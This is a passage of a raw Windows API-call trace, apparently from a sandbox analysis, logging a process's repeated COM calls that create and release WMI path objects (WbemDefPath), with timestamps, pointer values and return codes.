[3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0268.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c150, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0268.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c150, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x881218) returned 0x0 [0268.952] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x881218, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0268.952] WbemDefPath:IUnknown:Release (This=0x881218) returned 0x3 [0268.952] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0268.952] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0268.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c150, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0268.952] WbemDefPath:IUnknown:Release (This=0x84c150) returned 0x2 [0268.952] WbemDefPath:IUnknown:Release (This=0x84c150) returned 0x1 [0268.952] SetEvent (hEvent=0x34c) returned 1 [0271.406] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8812a8) returned 0x0 [0271.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x8812a8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0271.406] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8812a8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c230) returned 0x0 [0271.406] WbemDefPath:IUnknown:Release (This=0x8812a8) returned 0x0 [0271.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c230, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c230) returned 0x0 [0271.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c230, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0271.407] WbemDefPath:IUnknown:AddRef (This=0x84c230) returned 0x3 [0271.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c230, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0271.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c230, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0271.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c230, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8812c8) returned 0x0 [0271.407] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8812c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0271.407] WbemDefPath:IUnknown:Release (This=0x8812c8) returned 0x3 [0271.407] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0271.407] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0271.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c230, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0271.407] WbemDefPath:IUnknown:Release (This=0x84c230) returned 0x2 [0271.407] WbemDefPath:IUnknown:Release (This=0x84c230) returned 0x1 [0271.407] SetEvent (hEvent=0x354) returned 1 [0271.499] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8812f8) returned 0x0 [0271.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x8812f8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0271.499] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8812f8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c2a0) returned 0x0 [0271.499] WbemDefPath:IUnknown:Release (This=0x8812f8) returned 0x0 [0271.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c2a0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c2a0) returned 0x0 [0271.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c2a0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0271.500] WbemDefPath:IUnknown:AddRef (This=0x84c2a0) returned 0x3 [0271.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c2a0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0271.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c2a0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0271.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c2a0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x881298) returned 0x0 [0271.500] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x881298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0271.500] WbemDefPath:IUnknown:Release (This=0x881298) returned 0x3 [0271.500] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0271.500] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0271.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c2a0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0271.500] WbemDefPath:IUnknown:Release (This=0x84c2a0) returned 0x2 [0271.500] WbemDefPath:IUnknown:Release (This=0x84c2a0) returned 0x1 [0271.500] SetEvent (hEvent=0x358) returned 1 [0271.502] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x881288) returned 0x0 [0271.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x881288, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0271.503] WbemDefPath:IClassFactory:CreateInstance (in: This=0x881288, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c310) returned 0x0 [0271.503] WbemDefPath:IUnknown:Release (This=0x881288) returned 0x0 [0271.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c310, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c310) returned 0x0 [0271.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c310, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0271.503] WbemDefPath:IUnknown:AddRef (This=0x84c310) returned 0x3 [0271.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c310, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0271.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c310, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0271.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c310, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x881308) returned 0x0 [0271.503] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x881308, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0271.503] WbemDefPath:IUnknown:Release (This=0x881308) returned 0x3 [0271.503] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0271.504] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0271.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c310, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0271.504] WbemDefPath:IUnknown:Release (This=0x84c310) returned 0x2 [0271.504] WbemDefPath:IUnknown:Release (This=0x84c310) returned 0x1 [0271.504] SetEvent (hEvent=0x35c) returned 1 [0272.301] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x881348) returned 0x0 [0272.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x881348, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.301] WbemDefPath:IClassFactory:CreateInstance (in: This=0x881348, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c380) returned 0x0 [0272.301] WbemDefPath:IUnknown:Release (This=0x881348) returned 0x0 [0272.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c380, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c380) returned 0x0 [0272.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c380, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.301] WbemDefPath:IUnknown:AddRef (This=0x84c380) returned 0x3 [0272.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c380, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c380, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c380, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x881378) returned 0x0 [0272.302] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x881378, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.302] WbemDefPath:IUnknown:Release (This=0x881378) returned 0x3 [0272.302] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.302] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c380, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.302] WbemDefPath:IUnknown:Release (This=0x84c380) returned 0x2 [0272.302] WbemDefPath:IUnknown:Release (This=0x84c380) returned 0x1 [0272.302] SetEvent (hEvent=0x38c) returned 1 [0272.548] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2c98) returned 0x0 [0272.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2c98, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.548] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2c98, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c3f0) returned 0x0 [0272.548] WbemDefPath:IUnknown:Release (This=0x8a2c98) returned 0x0 [0272.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c3f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c3f0) returned 0x0 [0272.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c3f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.549] WbemDefPath:IUnknown:AddRef (This=0x84c3f0) returned 0x3 [0272.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c3f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c3f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c3f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2ca8) returned 0x0 [0272.549] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2ca8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.549] WbemDefPath:IUnknown:Release (This=0x8a2ca8) returned 0x3 [0272.549] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.549] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c3f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.549] WbemDefPath:IUnknown:Release (This=0x84c3f0) returned 0x2 [0272.549] WbemDefPath:IUnknown:Release (This=0x84c3f0) returned 0x1 [0272.549] SetEvent (hEvent=0x390) returned 1 [0272.610] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2ce8) returned 0x0 [0272.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2ce8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.610] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2ce8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c460) returned 0x0 [0272.610] WbemDefPath:IUnknown:Release (This=0x8a2ce8) returned 0x0 [0272.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c460, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c460) returned 0x0 [0272.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c460, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.611] WbemDefPath:IUnknown:AddRef (This=0x84c460) returned 0x3 [0272.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c460, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | 